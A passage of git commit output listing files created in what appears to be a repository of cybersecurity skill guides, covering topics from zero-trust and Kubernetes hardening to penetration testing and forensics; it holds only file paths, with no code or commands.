skills/implementing-epss-score-for-vulnerability-prioritization/references/workflows.md create mode 100644 skills/implementing-epss-score-for-vulnerability-prioritization/scripts/process.py create mode 100644 skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/SKILL.md create mode 100644 skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/assets/template.md create mode 100644 skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/references/standards.md create mode 100644 skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/references/workflows.md create mode 100644 skills/implementing-fuzz-testing-in-cicd-with-aflplusplus/scripts/process.py create mode 100644 skills/implementing-gcp-binary-authorization/SKILL.md create mode 100644 skills/implementing-gcp-binary-authorization/assets/template.md create mode 100644 skills/implementing-gcp-binary-authorization/references/standards.md create mode 100644 skills/implementing-gcp-binary-authorization/references/workflows.md create mode 100644 skills/implementing-gcp-binary-authorization/scripts/process.py create mode 100644 skills/implementing-gcp-organization-policy-constraints/SKILL.md create mode 100644 skills/implementing-gcp-organization-policy-constraints/assets/template.md create mode 100644 skills/implementing-gcp-organization-policy-constraints/references/standards.md create mode 100644 skills/implementing-gcp-organization-policy-constraints/references/workflows.md create mode 100644 skills/implementing-gcp-organization-policy-constraints/scripts/process.py create mode 100644 skills/implementing-gcp-vpc-firewall-rules/SKILL.md create mode 100644 skills/implementing-gdpr-data-protection-controls/SKILL.md create mode 100644 skills/implementing-gdpr-data-protection-controls/assets/template.md create mode 100644 skills/implementing-gdpr-data-protection-controls/references/standards.md create mode 100644 skills/implementing-gdpr-data-protection-controls/references/workflows.md create mode 100644 skills/implementing-gdpr-data-protection-controls/scripts/process.py create mode 100644 skills/implementing-github-advanced-security-for-code-scanning/SKILL.md create mode 100644 skills/implementing-github-advanced-security-for-code-scanning/assets/template.md create mode 100644 skills/implementing-github-advanced-security-for-code-scanning/references/standards.md create mode 100644 skills/implementing-github-advanced-security-for-code-scanning/references/workflows.md create mode 100644 skills/implementing-github-advanced-security-for-code-scanning/scripts/process.py create mode 100644 skills/implementing-google-workspace-admin-security/SKILL.md create mode 100644 skills/implementing-google-workspace-phishing-protection/SKILL.md create mode 100644 skills/implementing-google-workspace-phishing-protection/assets/template.md create mode 100644 skills/implementing-google-workspace-phishing-protection/references/standards.md create mode 100644 skills/implementing-google-workspace-phishing-protection/references/workflows.md create mode 100644 skills/implementing-google-workspace-phishing-protection/scripts/process.py create mode 100644 skills/implementing-google-workspace-sso-configuration/SKILL.md create mode 100644 skills/implementing-google-workspace-sso-configuration/assets/template.md create mode 100644 skills/implementing-google-workspace-sso-configuration/references/standards.md create mode 100644 skills/implementing-google-workspace-sso-configuration/references/workflows.md create mode 100644 skills/implementing-google-workspace-sso-configuration/scripts/process.py create mode 100644 skills/implementing-hashicorp-vault-dynamic-secrets/SKILL.md create mode 100644 skills/implementing-honeypot-for-ransomware-detection/SKILL.md create mode 100644 skills/implementing-honeypot-for-ransomware-detection/assets/template.md create mode 100644 skills/implementing-honeypot-for-ransomware-detection/references/standards.md create mode 100644 skills/implementing-honeypot-for-ransomware-detection/references/workflows.md create mode 100644 skills/implementing-honeypot-for-ransomware-detection/scripts/process.py create mode 100644 skills/implementing-ics-firewall-with-tofino/SKILL.md create mode 100644 skills/implementing-identity-governance-with-sailpoint/SKILL.md create mode 100644 skills/implementing-identity-verification-for-zero-trust/SKILL.md create mode 100644 skills/implementing-identity-verification-for-zero-trust/assets/template.md create mode 100644 skills/implementing-identity-verification-for-zero-trust/references/standards.md create mode 100644 skills/implementing-identity-verification-for-zero-trust/references/workflows.md create mode 100644 skills/implementing-identity-verification-for-zero-trust/scripts/process.py create mode 100644 skills/implementing-iec-62443-security-zones/SKILL.md create mode 100644 skills/implementing-image-provenance-verification-with-cosign/SKILL.md create mode 100644 skills/implementing-image-provenance-verification-with-cosign/assets/template.md create mode 100644 skills/implementing-image-provenance-verification-with-cosign/references/standards.md create mode 100644 skills/implementing-image-provenance-verification-with-cosign/references/workflows.md create mode 100644 skills/implementing-image-provenance-verification-with-cosign/scripts/process.py create mode 100644 skills/implementing-infrastructure-as-code-security-scanning/SKILL.md create mode 100644 skills/implementing-infrastructure-as-code-security-scanning/assets/template.md create mode 100644 skills/implementing-infrastructure-as-code-security-scanning/references/standards.md create mode 100644 skills/implementing-infrastructure-as-code-security-scanning/references/workflows.md create mode 100644 skills/implementing-infrastructure-as-code-security-scanning/scripts/process.py create mode 100644 skills/implementing-iso-27001-information-security-management/SKILL.md create mode 100644 skills/implementing-iso-27001-information-security-management/assets/template.md create mode 100644 skills/implementing-iso-27001-information-security-management/references/standards.md create mode 100644 skills/implementing-iso-27001-information-security-management/references/workflows.md create mode 100644 skills/implementing-iso-27001-information-security-management/scripts/process.py create mode 100644 skills/implementing-just-in-time-access-provisioning/SKILL.md create mode 100644 skills/implementing-just-in-time-access-provisioning/assets/template.md create mode 100644 skills/implementing-just-in-time-access-provisioning/references/standards.md create mode 100644 skills/implementing-just-in-time-access-provisioning/references/workflows.md create mode 100644 skills/implementing-just-in-time-access-provisioning/scripts/process.py create mode 100644 skills/implementing-jwt-signing-and-verification/SKILL.md create mode 100644 skills/implementing-jwt-signing-and-verification/assets/template.md create mode 100644 skills/implementing-jwt-signing-and-verification/references/standards.md create mode 100644 skills/implementing-jwt-signing-and-verification/references/workflows.md create mode 100644 skills/implementing-jwt-signing-and-verification/scripts/process.py create mode 100644 skills/implementing-kubernetes-network-policy-with-calico/SKILL.md create mode 100644 skills/implementing-kubernetes-network-policy-with-calico/assets/template.md create mode 100644 skills/implementing-kubernetes-network-policy-with-calico/references/standards.md create mode 100644 skills/implementing-kubernetes-network-policy-with-calico/references/workflows.md create mode 100644 skills/implementing-kubernetes-network-policy-with-calico/scripts/process.py create mode 100644 skills/implementing-kubernetes-pod-security-standards/SKILL.md create mode 100644 skills/implementing-kubernetes-pod-security-standards/assets/template.md create mode 100644 skills/implementing-kubernetes-pod-security-standards/references/standards.md create mode 100644 skills/implementing-kubernetes-pod-security-standards/references/workflows.md create mode 100644 skills/implementing-kubernetes-pod-security-standards/scripts/process.py create mode 100644 skills/implementing-memory-protection-with-dep-aslr/SKILL.md create mode 100644 skills/implementing-memory-protection-with-dep-aslr/assets/template.md create mode 100644 skills/implementing-memory-protection-with-dep-aslr/references/standards.md create mode 100644 skills/implementing-memory-protection-with-dep-aslr/references/workflows.md create mode 100644 skills/implementing-memory-protection-with-dep-aslr/scripts/process.py create mode 100644 skills/implementing-microsegmentation-with-guardicore/SKILL.md create mode 100644 skills/implementing-mimecast-targeted-attack-protection/SKILL.md create mode 100644 skills/implementing-mimecast-targeted-attack-protection/assets/template.md create mode 100644 skills/implementing-mimecast-targeted-attack-protection/references/standards.md create mode 100644 skills/implementing-mimecast-targeted-attack-protection/references/workflows.md create mode 100644 skills/implementing-mimecast-targeted-attack-protection/scripts/process.py create mode 100644 skills/implementing-mitre-attack-coverage-mapping/SKILL.md create mode 100644 skills/implementing-mitre-attack-coverage-mapping/assets/template.md create mode 100644 skills/implementing-mitre-attack-coverage-mapping/references/standards.md create mode 100644 skills/implementing-mitre-attack-coverage-mapping/references/workflows.md create mode 100644 skills/implementing-mitre-attack-coverage-mapping/scripts/process.py create mode 100644 skills/implementing-mobile-application-management/SKILL.md create mode 100644 skills/implementing-mobile-application-management/assets/template.md create mode 100644 skills/implementing-mobile-application-management/references/standards.md create mode 100644 skills/implementing-mobile-application-management/references/workflows.md create mode 100644 skills/implementing-mobile-application-management/scripts/process.py create mode 100644 skills/implementing-nerc-cip-compliance-controls/SKILL.md create mode 100644 skills/implementing-network-access-control-with-cisco-ise/SKILL.md create mode 100644 skills/implementing-network-access-control/SKILL.md create mode 100644 skills/implementing-network-intrusion-prevention-with-suricata/SKILL.md create mode 100644 skills/implementing-network-policies-for-kubernetes/SKILL.md create mode 100644 skills/implementing-network-policies-for-kubernetes/assets/template.md create mode 100644 skills/implementing-network-policies-for-kubernetes/references/standards.md create mode 100644 skills/implementing-network-policies-for-kubernetes/references/workflows.md create mode 100644 skills/implementing-network-policies-for-kubernetes/scripts/process.py create mode 100644 skills/implementing-network-segmentation-for-ot/SKILL.md create mode 100644 skills/implementing-network-segmentation-with-firewall-zones/SKILL.md create mode 100644 skills/implementing-next-generation-firewall-with-palo-alto/SKILL.md create mode 100644 skills/implementing-next-generation-firewall-with-palo-alto/assets/template.md create mode 100644 skills/implementing-next-generation-firewall-with-palo-alto/references/standards.md create mode 100644 skills/implementing-next-generation-firewall-with-palo-alto/references/workflows.md create mode 100644 skills/implementing-next-generation-firewall-with-palo-alto/scripts/process.py create mode 100644 skills/implementing-opa-gatekeeper-for-policy-enforcement/SKILL.md create mode 100644 skills/implementing-opa-gatekeeper-for-policy-enforcement/assets/template.md create mode 100644 skills/implementing-opa-gatekeeper-for-policy-enforcement/references/standards.md create mode 100644 skills/implementing-opa-gatekeeper-for-policy-enforcement/references/workflows.md create mode 100644 skills/implementing-opa-gatekeeper-for-policy-enforcement/scripts/process.py create mode 100644 skills/implementing-ot-incident-response-playbook/SKILL.md create mode 100644 skills/implementing-ot-network-traffic-analysis-with-nozomi/SKILL.md create mode 100644 skills/implementing-pam-for-database-access/SKILL.md create mode 100644 skills/implementing-passwordless-auth-with-microsoft-entra/SKILL.md create mode 100644 skills/implementing-passwordless-authentication-with-fido2/SKILL.md create mode 100644 skills/implementing-passwordless-authentication-with-fido2/references/standards.md create mode 100644 skills/implementing-passwordless-authentication-with-fido2/references/workflows.md create mode 100644 skills/implementing-patch-management-for-ot-systems/SKILL.md create mode 100644 skills/implementing-patch-management-workflow/SKILL.md create mode 100644 skills/implementing-patch-management-workflow/assets/template.md create mode 100644 skills/implementing-patch-management-workflow/references/standards.md create mode 100644 skills/implementing-patch-management-workflow/references/workflows.md create mode 100644 skills/implementing-patch-management-workflow/scripts/process.py create mode 100644 skills/implementing-pci-dss-compliance-controls/SKILL.md create mode 100644 skills/implementing-pci-dss-compliance-controls/assets/template.md create mode 100644 skills/implementing-pci-dss-compliance-controls/references/standards.md create mode 100644 skills/implementing-pci-dss-compliance-controls/references/workflows.md create mode 100644 skills/implementing-pod-security-admission-controller/SKILL.md create mode 100644 skills/implementing-pod-security-admission-controller/assets/template.md create mode 100644 skills/implementing-pod-security-admission-controller/references/standards.md create mode 100644 skills/implementing-pod-security-admission-controller/references/workflows.md create mode 100644 skills/implementing-pod-security-admission-controller/scripts/process.py create mode 100644 skills/implementing-policy-as-code-with-open-policy-agent/SKILL.md create mode 100644 skills/implementing-policy-as-code-with-open-policy-agent/assets/template.md create mode 100644 skills/implementing-policy-as-code-with-open-policy-agent/references/standards.md create mode 100644 skills/implementing-policy-as-code-with-open-policy-agent/references/workflows.md create mode 100644 skills/implementing-policy-as-code-with-open-policy-agent/scripts/process.py create mode 100644 skills/implementing-privileged-access-management-with-cyberark/SKILL.md create mode 100644 skills/implementing-privileged-access-management-with-cyberark/assets/template.md create mode 100644 skills/implementing-privileged-access-management-with-cyberark/references/standards.md create mode 100644 skills/implementing-privileged-access-management-with-cyberark/references/workflows.md create mode 100644 skills/implementing-privileged-access-management-with-cyberark/scripts/process.py create mode 100644 skills/implementing-proofpoint-email-security-gateway/SKILL.md create mode 100644 skills/implementing-proofpoint-email-security-gateway/assets/template.md create mode 100644 skills/implementing-proofpoint-email-security-gateway/references/standards.md create mode 100644 skills/implementing-proofpoint-email-security-gateway/references/workflows.md create mode 100644 skills/implementing-proofpoint-email-security-gateway/scripts/process.py create mode 100644 skills/implementing-purdue-model-network-segmentation/SKILL.md create mode 100644 skills/implementing-ransomware-backup-strategy/SKILL.md create mode 100644 skills/implementing-ransomware-backup-strategy/assets/template.md create mode 100644 skills/implementing-ransomware-backup-strategy/references/standards.md create mode 100644 skills/implementing-ransomware-backup-strategy/references/workflows.md create mode 100644 skills/implementing-ransomware-backup-strategy/scripts/process.py create mode 100644 skills/implementing-rapid7-insightvm-for-scanning/SKILL.md create mode 100644 skills/implementing-rapid7-insightvm-for-scanning/assets/template.md create mode 100644 skills/implementing-rapid7-insightvm-for-scanning/references/standards.md create mode 100644 skills/implementing-rapid7-insightvm-for-scanning/references/workflows.md create mode 100644 skills/implementing-rapid7-insightvm-for-scanning/scripts/process.py create mode 100644 skills/implementing-rbac-for-kubernetes-cluster/SKILL.md create mode 100644 skills/implementing-rbac-for-kubernetes-cluster/assets/template.md create mode 100644 skills/implementing-rbac-for-kubernetes-cluster/references/standards.md create mode 100644 skills/implementing-rbac-for-kubernetes-cluster/references/workflows.md create mode 100644 skills/implementing-rbac-for-kubernetes-cluster/scripts/process.py create mode 100644 skills/implementing-rbac-hardening-for-kubernetes/SKILL.md create mode 100644 skills/implementing-rbac-hardening-for-kubernetes/assets/template.md create mode 100644 skills/implementing-rbac-hardening-for-kubernetes/references/standards.md create mode 100644 skills/implementing-rbac-hardening-for-kubernetes/references/workflows.md create mode 100644 skills/implementing-rbac-hardening-for-kubernetes/scripts/process.py create mode 100644 skills/implementing-rsa-key-pair-management/SKILL.md create mode 100644 skills/implementing-rsa-key-pair-management/assets/template.md create mode 100644 skills/implementing-rsa-key-pair-management/references/standards.md create mode 100644 skills/implementing-rsa-key-pair-management/references/workflows.md create mode 100644 skills/implementing-rsa-key-pair-management/scripts/process.py create mode 100644 skills/implementing-runtime-security-with-tetragon/SKILL.md create mode 100644 skills/implementing-runtime-security-with-tetragon/assets/template.md create mode 100644 skills/implementing-runtime-security-with-tetragon/references/standards.md create mode 100644 skills/implementing-runtime-security-with-tetragon/references/workflows.md create mode 100644 skills/implementing-runtime-security-with-tetragon/scripts/process.py create mode 100644 skills/implementing-saml-sso-with-okta/SKILL.md create mode 100644 skills/implementing-saml-sso-with-okta/assets/template.md create mode 100644 skills/implementing-saml-sso-with-okta/references/standards.md create mode 100644 skills/implementing-saml-sso-with-okta/references/workflows.md create mode 100644 skills/implementing-saml-sso-with-okta/scripts/process.py create mode 100644 skills/implementing-scim-provisioning-with-okta/SKILL.md create mode 100644 skills/implementing-scim-provisioning-with-okta/assets/template.md create mode 100644 skills/implementing-scim-provisioning-with-okta/references/standards.md create mode 100644 skills/implementing-scim-provisioning-with-okta/references/workflows.md create mode 100644 skills/implementing-scim-provisioning-with-okta/scripts/process.py create mode 100644 skills/implementing-secret-scanning-with-gitleaks/SKILL.md create mode 100644 skills/implementing-secret-scanning-with-gitleaks/assets/template.md create mode 100644 skills/implementing-secret-scanning-with-gitleaks/references/standards.md create mode 100644 skills/implementing-secret-scanning-with-gitleaks/references/workflows.md create mode 100644 skills/implementing-secret-scanning-with-gitleaks/scripts/process.py create mode 100644 skills/implementing-secrets-management-with-vault/SKILL.md create mode 100644 skills/implementing-semgrep-for-custom-sast-rules/SKILL.md create mode 100644 skills/implementing-semgrep-for-custom-sast-rules/references/standards.md create mode 100644 skills/implementing-siem-use-cases-for-detection/SKILL.md create mode 100644 skills/implementing-soar-automation-with-phantom/SKILL.md create mode 100644 skills/implementing-soar-playbook-with-palo-alto-xsoar/SKILL.md create mode 100644 skills/implementing-soar-playbook-with-palo-alto-xsoar/assets/template.md create mode 100644 skills/implementing-soar-playbook-with-palo-alto-xsoar/references/standards.md create mode 100644 skills/implementing-soar-playbook-with-palo-alto-xsoar/references/workflows.md create mode 100644 skills/implementing-soar-playbook-with-palo-alto-xsoar/scripts/process.py create mode 100644 skills/implementing-stix-taxii-feed-integration/SKILL.md create mode 100644 skills/implementing-stix-taxii-feed-integration/assets/template.md create mode 100644 skills/implementing-stix-taxii-feed-integration/references/standards.md create mode 100644 skills/implementing-stix-taxii-feed-integration/references/workflows.md create mode 100644 skills/implementing-stix-taxii-feed-integration/scripts/process.py create mode 100644 skills/implementing-supply-chain-security-with-in-toto/SKILL.md create mode 100644 skills/implementing-supply-chain-security-with-in-toto/assets/template.md create mode 100644 skills/implementing-supply-chain-security-with-in-toto/references/standards.md create mode 100644 skills/implementing-supply-chain-security-with-in-toto/references/workflows.md create mode 100644 skills/implementing-supply-chain-security-with-in-toto/scripts/process.py create mode 100644 skills/implementing-taxii-server-with-opentaxii/SKILL.md create mode 100644 skills/implementing-threat-intelligence-lifecycle-management/SKILL.md create mode 100644 skills/implementing-threat-modeling-with-mitre-attack/SKILL.md create mode 100644 skills/implementing-ticketing-system-for-incidents/SKILL.md create mode 100644 skills/implementing-usb-device-control-policy/SKILL.md create mode 100644 skills/implementing-usb-device-control-policy/assets/template.md create mode 100644 skills/implementing-usb-device-control-policy/references/standards.md create mode 100644 skills/implementing-usb-device-control-policy/references/workflows.md create mode 100644 skills/implementing-usb-device-control-policy/scripts/process.py create mode 100644 skills/implementing-velociraptor-for-ir-collection/SKILL.md create mode 100644 skills/implementing-velociraptor-for-ir-collection/assets/template.md create mode 100644 skills/implementing-velociraptor-for-ir-collection/references/standards.md create mode 100644 skills/implementing-velociraptor-for-ir-collection/references/workflows.md create mode 100644 skills/implementing-velociraptor-for-ir-collection/scripts/process.py create mode 100644 skills/implementing-vulnerability-remediation-sla/SKILL.md create mode 100644 skills/implementing-vulnerability-remediation-sla/assets/template.md create mode 100644 skills/implementing-vulnerability-remediation-sla/references/standards.md create mode 100644 skills/implementing-vulnerability-remediation-sla/references/workflows.md create mode 100644 skills/implementing-vulnerability-remediation-sla/scripts/process.py create mode 100644 skills/implementing-vulnerability-sla-breach-alerting/SKILL.md create mode 100644 skills/implementing-vulnerability-sla-breach-alerting/assets/template.md create mode 100644 skills/implementing-vulnerability-sla-breach-alerting/references/standards.md create mode 100644 skills/implementing-vulnerability-sla-breach-alerting/references/workflows.md create mode 100644 skills/implementing-vulnerability-sla-breach-alerting/scripts/process.py create mode 100644 skills/implementing-zero-knowledge-proof-for-authentication/SKILL.md create mode 100644 skills/implementing-zero-knowledge-proof-for-authentication/references/standards.md create mode 100644 skills/implementing-zero-knowledge-proof-for-authentication/references/workflows.md create mode 100644 skills/implementing-zero-standing-privilege-with-cyberark/SKILL.md create mode 100644 skills/implementing-zero-standing-privilege-with-cyberark/assets/template.md create mode 100644 skills/implementing-zero-standing-privilege-with-cyberark/references/standards.md create mode 100644 skills/implementing-zero-standing-privilege-with-cyberark/references/workflows.md create mode 100644 skills/implementing-zero-standing-privilege-with-cyberark/scripts/process.py create mode 100644 skills/implementing-zero-trust-dns-with-nextdns/SKILL.md create mode 100644 skills/implementing-zero-trust-dns-with-nextdns/assets/template.md create mode 100644 skills/implementing-zero-trust-dns-with-nextdns/references/standards.md create mode 100644 skills/implementing-zero-trust-dns-with-nextdns/references/workflows.md create mode 100644 skills/implementing-zero-trust-dns-with-nextdns/scripts/process.py create mode 100644 skills/implementing-zero-trust-for-saas-applications/SKILL.md create mode 100644 skills/implementing-zero-trust-in-cloud/SKILL.md create mode 100644 skills/implementing-zero-trust-network-access-with-zscaler/SKILL.md create mode 100644 skills/implementing-zero-trust-network-access-with-zscaler/assets/template.md create mode 100644 skills/implementing-zero-trust-network-access-with-zscaler/references/standards.md create mode 100644 skills/implementing-zero-trust-network-access-with-zscaler/references/workflows.md create mode 100644 skills/implementing-zero-trust-network-access-with-zscaler/scripts/process.py create mode 100644 skills/implementing-zero-trust-network-access/SKILL.md create mode 100644 skills/implementing-zero-trust-with-hashicorp-boundary/SKILL.md create mode 100644 skills/implementing-zero-trust-with-hashicorp-boundary/assets/template.md create mode 100644 skills/implementing-zero-trust-with-hashicorp-boundary/references/standards.md create mode 100644 skills/implementing-zero-trust-with-hashicorp-boundary/references/workflows.md create mode 100644 skills/implementing-zero-trust-with-hashicorp-boundary/scripts/process.py create mode 100644 skills/integrating-dast-with-owasp-zap-in-pipeline/SKILL.md create mode 100644 skills/integrating-dast-with-owasp-zap-in-pipeline/assets/template.md create mode 100644 skills/integrating-dast-with-owasp-zap-in-pipeline/references/standards.md create mode 100644 skills/integrating-dast-with-owasp-zap-in-pipeline/references/workflows.md create mode 100644 skills/integrating-dast-with-owasp-zap-in-pipeline/scripts/process.py create mode 100644 skills/integrating-sast-into-github-actions-pipeline/SKILL.md create mode 100644 skills/integrating-sast-into-github-actions-pipeline/assets/template.md create mode 100644 skills/integrating-sast-into-github-actions-pipeline/references/standards.md create mode 100644 skills/integrating-sast-into-github-actions-pipeline/references/workflows.md create mode 100644 skills/integrating-sast-into-github-actions-pipeline/scripts/process.py create mode 100644 skills/intercepting-mobile-traffic-with-burpsuite/SKILL.md create mode 100644 skills/intercepting-mobile-traffic-with-burpsuite/assets/template.md create mode 100644 skills/intercepting-mobile-traffic-with-burpsuite/references/standards.md create mode 100644 skills/intercepting-mobile-traffic-with-burpsuite/references/workflows.md create mode 100644 skills/intercepting-mobile-traffic-with-burpsuite/scripts/process.py create mode 100644 skills/investigating-insider-threat-indicators/SKILL.md create mode 100644 skills/investigating-phishing-email-incident/SKILL.md create mode 100644 skills/investigating-ransomware-attack-artifacts/SKILL.md create mode 100644 skills/managing-cloud-identity-with-okta/SKILL.md create mode 100644 skills/managing-intelligence-lifecycle/SKILL.md create mode 100644 skills/mapping-mitre-attack-techniques/SKILL.md create mode 100644 skills/monitoring-darkweb-sources/SKILL.md create mode 100644 skills/performing-access-recertification-with-saviynt/SKILL.md create mode 100644 skills/performing-access-recertification-with-saviynt/assets/template.md create mode 100644 skills/performing-access-recertification-with-saviynt/references/standards.md create mode 100644 skills/performing-access-recertification-with-saviynt/references/workflows.md create mode 100644 skills/performing-access-recertification-with-saviynt/scripts/process.py create mode 100644 skills/performing-access-review-and-certification/SKILL.md create mode 100644 skills/performing-access-review-and-certification/assets/template.md create mode 100644 skills/performing-access-review-and-certification/references/standards.md create mode 100644 skills/performing-access-review-and-certification/references/workflows.md create mode 100644 skills/performing-access-review-and-certification/scripts/process.py create mode 100644 skills/performing-active-directory-bloodhound-analysis/SKILL.md create mode 100644 skills/performing-active-directory-bloodhound-analysis/assets/template.md create mode 100644 skills/performing-active-directory-bloodhound-analysis/references/standards.md create mode 100644 skills/performing-active-directory-bloodhound-analysis/references/workflows.md create mode 100644 skills/performing-active-directory-bloodhound-analysis/scripts/process.py create mode 100644 skills/performing-active-directory-compromise-investigation/SKILL.md create mode 100644 skills/performing-active-directory-compromise-investigation/assets/template.md create mode 100644 skills/performing-active-directory-compromise-investigation/references/standards.md create mode 100644 skills/performing-active-directory-compromise-investigation/references/workflows.md create mode 100644 skills/performing-active-directory-compromise-investigation/scripts/process.py create mode 100644 skills/performing-active-directory-penetration-test/SKILL.md create mode 100644 skills/performing-active-directory-penetration-test/assets/template.md create mode 100644 skills/performing-active-directory-penetration-test/references/standards.md create mode 100644 skills/performing-active-directory-penetration-test/references/workflows.md create mode 100644 skills/performing-active-directory-penetration-test/scripts/process.py create mode 100644 skills/performing-active-directory-vulnerability-assessment/SKILL.md create mode 100644 skills/performing-active-directory-vulnerability-assessment/assets/template.md create mode 100644 skills/performing-active-directory-vulnerability-assessment/references/standards.md create mode 100644 skills/performing-active-directory-vulnerability-assessment/references/workflows.md create mode 100644 skills/performing-active-directory-vulnerability-assessment/scripts/process.py create mode 100644 skills/performing-adversary-in-the-middle-phishing-detection/SKILL.md create mode 100644 skills/performing-adversary-in-the-middle-phishing-detection/assets/template.md create mode 100644 skills/performing-adversary-in-the-middle-phishing-detection/references/standards.md create mode 100644 skills/performing-adversary-in-the-middle-phishing-detection/references/workflows.md create mode 100644 skills/performing-adversary-in-the-middle-phishing-detection/scripts/process.py create mode 100644 skills/performing-agentless-vulnerability-scanning/SKILL.md create mode 100644 skills/performing-agentless-vulnerability-scanning/assets/template.md create mode 100644 skills/performing-agentless-vulnerability-scanning/references/standards.md create mode 100644 skills/performing-agentless-vulnerability-scanning/references/workflows.md create mode 100644 skills/performing-agentless-vulnerability-scanning/scripts/process.py create mode 100644 skills/performing-alert-triage-with-elastic-siem/SKILL.md create mode 100644 skills/performing-alert-triage-with-elastic-siem/assets/template.md create mode 100644 skills/performing-alert-triage-with-elastic-siem/references/standards.md create mode 100644 skills/performing-alert-triage-with-elastic-siem/references/workflows.md create mode 100644 skills/performing-alert-triage-with-elastic-siem/scripts/process.py create mode 100644 skills/performing-android-app-static-analysis-with-mobsf/SKILL.md create mode 100644 skills/performing-android-app-static-analysis-with-mobsf/assets/template.md create mode 100644 skills/performing-android-app-static-analysis-with-mobsf/references/standards.md create mode 100644 skills/performing-android-app-static-analysis-with-mobsf/references/workflows.md create mode 100644 skills/performing-android-app-static-analysis-with-mobsf/scripts/process.py create mode 100644 skills/performing-api-fuzzing-with-restler/SKILL.md create mode 100644 skills/performing-api-inventory-and-discovery/SKILL.md create mode 100644 skills/performing-api-rate-limiting-bypass/SKILL.md create mode 100644 skills/performing-api-security-testing-with-postman/SKILL.md create mode 100644 skills/performing-arp-spoofing-attack-simulation/SKILL.md create mode 100644 skills/performing-asset-criticality-scoring-for-vulns/SKILL.md create mode 100644 skills/performing-asset-criticality-scoring-for-vulns/assets/template.md create mode 100644 skills/performing-asset-criticality-scoring-for-vulns/references/standards.md create mode 100644 skills/performing-asset-criticality-scoring-for-vulns/references/workflows.md create mode 100644 skills/performing-asset-criticality-scoring-for-vulns/scripts/process.py create mode 100644 skills/performing-authenticated-scan-with-openvas/SKILL.md create mode 100644 skills/performing-authenticated-scan-with-openvas/assets/template.md create mode 100644 skills/performing-authenticated-scan-with-openvas/references/standards.md create mode 100644 skills/performing-authenticated-scan-with-openvas/references/workflows.md create mode 100644 skills/performing-authenticated-scan-with-openvas/scripts/process.py create mode 100644 skills/performing-authenticated-vulnerability-scan/SKILL.md create mode 100644 skills/performing-authenticated-vulnerability-scan/assets/template.md create mode 100644 skills/performing-authenticated-vulnerability-scan/references/standards.md create mode 100644 skills/performing-authenticated-vulnerability-scan/references/workflows.md create mode 100644 skills/performing-authenticated-vulnerability-scan/scripts/process.py create mode 100644 skills/performing-automated-malware-analysis-with-cape/SKILL.md create mode 100644 skills/performing-automated-malware-analysis-with-cape/assets/template.md create mode 100644 skills/performing-automated-malware-analysis-with-cape/references/standards.md create mode 100644 skills/performing-automated-malware-analysis-with-cape/references/workflows.md create mode 100644 skills/performing-aws-account-enumeration-with-scout-suite/SKILL.md create mode 100644 skills/performing-aws-account-enumeration-with-scout-suite/assets/template.md create mode 100644 skills/performing-aws-account-enumeration-with-scout-suite/references/standards.md create mode 100644 skills/performing-aws-account-enumeration-with-scout-suite/references/workflows.md create mode 100644 skills/performing-aws-account-enumeration-with-scout-suite/scripts/process.py create mode 100644 skills/performing-aws-privilege-escalation-assessment/SKILL.md create mode 100644 skills/performing-bandwidth-throttling-attack-simulation/SKILL.md create mode 100644 skills/performing-blind-ssrf-exploitation/SKILL.md create mode 100644 skills/performing-brand-monitoring-for-impersonation/SKILL.md create mode 100644 skills/performing-clickjacking-attack-test/SKILL.md create mode 100644 skills/performing-cloud-asset-inventory-with-cartography/SKILL.md create mode 100644 skills/performing-cloud-asset-inventory-with-cartography/assets/template.md create mode 100644 skills/performing-cloud-asset-inventory-with-cartography/references/standards.md create mode 100644 skills/performing-cloud-asset-inventory-with-cartography/references/workflows.md create mode 100644 skills/performing-cloud-asset-inventory-with-cartography/scripts/process.py create mode 100644 skills/performing-cloud-forensics-investigation/SKILL.md create mode 100644 skills/performing-cloud-incident-containment-procedures/SKILL.md create mode 100644 skills/performing-cloud-incident-containment-procedures/assets/template.md create mode 100644 skills/performing-cloud-incident-containment-procedures/references/standards.md create mode 100644 skills/performing-cloud-incident-containment-procedures/references/workflows.md create mode 100644 skills/performing-cloud-incident-containment-procedures/scripts/process.py create mode 100644 skills/performing-cloud-penetration-testing-with-pacu/SKILL.md create mode 100644 skills/performing-cloud-penetration-testing/SKILL.md create mode 100644 skills/performing-cloud-storage-forensic-acquisition/SKILL.md create mode 100644 skills/performing-cloud-storage-forensic-acquisition/assets/template.md create mode 100644 skills/performing-cloud-storage-forensic-acquisition/references/standards.md create mode 100644 skills/performing-cloud-storage-forensic-acquisition/references/workflows.md create mode 100644 skills/performing-cloud-storage-forensic-acquisition/scripts/process.py create mode 100644 skills/performing-container-image-hardening/SKILL.md create mode 100644 skills/performing-container-image-hardening/assets/template.md create mode 100644 skills/performing-container-image-hardening/references/standards.md create mode 100644 skills/performing-container-image-hardening/references/workflows.md create mode 100644 skills/performing-container-image-hardening/scripts/process.py create mode 100644 skills/performing-content-security-policy-bypass/SKILL.md create mode 100644 skills/performing-credential-access-with-lazagne/SKILL.md create mode 100644 skills/performing-credential-access-with-lazagne/assets/template.md create mode 100644 skills/performing-credential-access-with-lazagne/references/standards.md create mode 100644 skills/performing-credential-access-with-lazagne/references/workflows.md create mode 100644 skills/performing-credential-access-with-lazagne/scripts/process.py create mode 100644 skills/performing-cryptographic-audit-of-application/SKILL.md create mode 100644 skills/performing-cryptographic-audit-of-application/assets/template.md create mode 100644 skills/performing-cryptographic-audit-of-application/references/standards.md create mode 100644 skills/performing-cryptographic-audit-of-application/references/workflows.md create mode 100644 skills/performing-cryptographic-audit-of-application/scripts/process.py create mode 100644 skills/performing-csrf-attack-simulation/SKILL.md create mode 100644 skills/performing-cve-prioritization-with-kev-catalog/SKILL.md create mode 100644 skills/performing-cve-prioritization-with-kev-catalog/assets/template.md create mode 100644 skills/performing-cve-prioritization-with-kev-catalog/references/standards.md create mode 100644 skills/performing-cve-prioritization-with-kev-catalog/references/workflows.md create mode 100644 skills/performing-cve-prioritization-with-kev-catalog/scripts/process.py create mode 100644 skills/performing-dark-web-monitoring-for-threats/SKILL.md create mode 100644 skills/performing-dark-web-monitoring-for-threats/assets/template.md create mode 100644 skills/performing-dark-web-monitoring-for-threats/references/standards.md create mode 100644 skills/performing-dark-web-monitoring-for-threats/references/workflows.md create mode 100644 skills/performing-dark-web-monitoring-for-threats/scripts/process.py create mode 100644 skills/performing-deception-technology-deployment/SKILL.md create mode 100644 skills/performing-directory-traversal-testing/SKILL.md create mode 100644 